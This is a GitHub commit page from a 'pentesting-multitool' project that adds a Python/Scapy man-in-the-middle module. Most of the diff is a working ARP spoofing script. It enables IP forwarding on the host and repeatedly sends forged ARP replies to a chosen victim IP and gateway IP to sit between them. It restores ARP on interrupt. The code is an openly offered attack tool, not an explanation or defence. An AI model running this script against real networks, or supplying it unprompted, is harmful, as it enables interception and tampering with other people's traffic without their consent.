Skip to content

Commit 620439d

Browse files
author
Fernando Fernández
committed
Add mitm script
Added a mitm script ready for attack by ARP Spoofing
1 parent f06e564 commit 620439d

File tree

2 files changed

+56
-2
lines changed

2 files changed

+56
-2
lines changed

pentesting-multitool.py

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
#! /usr/bin/env python3
22

33
import sys
4-
from utility_scripts import dns_utility, whois_utility, shodan_utility, bannergrab_utility, flooder_utility, fuzzing_utility
4+
from utility_scripts import dns_utility, whois_utility, shodan_utility, bannergrab_utility, flooder_utility, fuzzing_utility, mitm_utility
55

66
def main():
77
if len(sys.argv) < 2:
@@ -35,8 +35,12 @@ def main():
3535
elif sys.argv[1] == "fuzzing":
3636
fuzzing_utility.fuzzing_attack()
3737

38+
elif sys.argv[1] == "mitm":
39+
mitm_utility.mitm_attack()
40+
3841
else:
3942
print('Unknown function, please use -h for show the avaliable methods.')
43+
exit()
4044

4145
if __name__ == '__main__':
4246
main()

utility_scripts/mitm_utility.py

Lines changed: 51 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,13 +6,20 @@
66

77
class mitm_attack(object):
88

9+
def check(self):
10+
if len(sys.argv) != 5:
11+
print('Usage: python pentesting-multitool.py mitm <interface> <victim IP> <gateway IP>')
12+
exit()
13+
914
def settings_values(self):
1015

1116
# Setting values
1217
self.interface = sys.argv[2]
1318
self.victimIP = sys.argv[3]
1419
self.gatewayIP = sys.argv[4]
1520

21+
# Disabling verbose mode
22+
conf.verb = 0
1623

1724
def mac_getter(self, IP):
1825

@@ -34,4 +41,47 @@ def ARPing(self):
3441
# Disabling IP Forwarding
3542
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
3643

37-
exit()
44+
exit()
45+
46+
def sending_arp(self):
47+
48+
victim = self.mac_getter(self.victimIP)
49+
AP_MAC = self.mac_getter(self.gatewayIP)
50+
51+
# Those replies places us between them (ARP Spoofing)
52+
send(ARP(op=2, pdst=self.victimIP, psrc=self.gatewayIP, hwdst=victim))
53+
send(ARP(op=2, pdst=self.gatewayIP, psrc=self.victimIP, hwdst=AP_MAC))
54+
55+
def main_attack(self):
56+
57+
print("Enabling IP Forwarding...\n")
58+
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
59+
60+
try:
61+
victimMAC = self.mac_getter(self.victimIP)
62+
AP_MAC = self.mac_getter(self.gatewayIP)
63+
64+
except:
65+
print("Cannot find targets MAC address")
66+
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
67+
sys.exit(1)
68+
69+
print("Poisoning Targets...")
70+
while 1:
71+
try:
72+
self.sending_arp()
73+
print("Packets successfully sent..")
74+
time.sleep(1)
75+
except KeyboardInterrupt:
76+
print("Aborting mitm attack..")
77+
self.ARPing()
78+
break
79+
80+
def __init__(self):
81+
self.check()
82+
self.settings_values()
83+
84+
# Attack
85+
86+
self.main_attack()
87+

0 commit comments

Comments
 (0)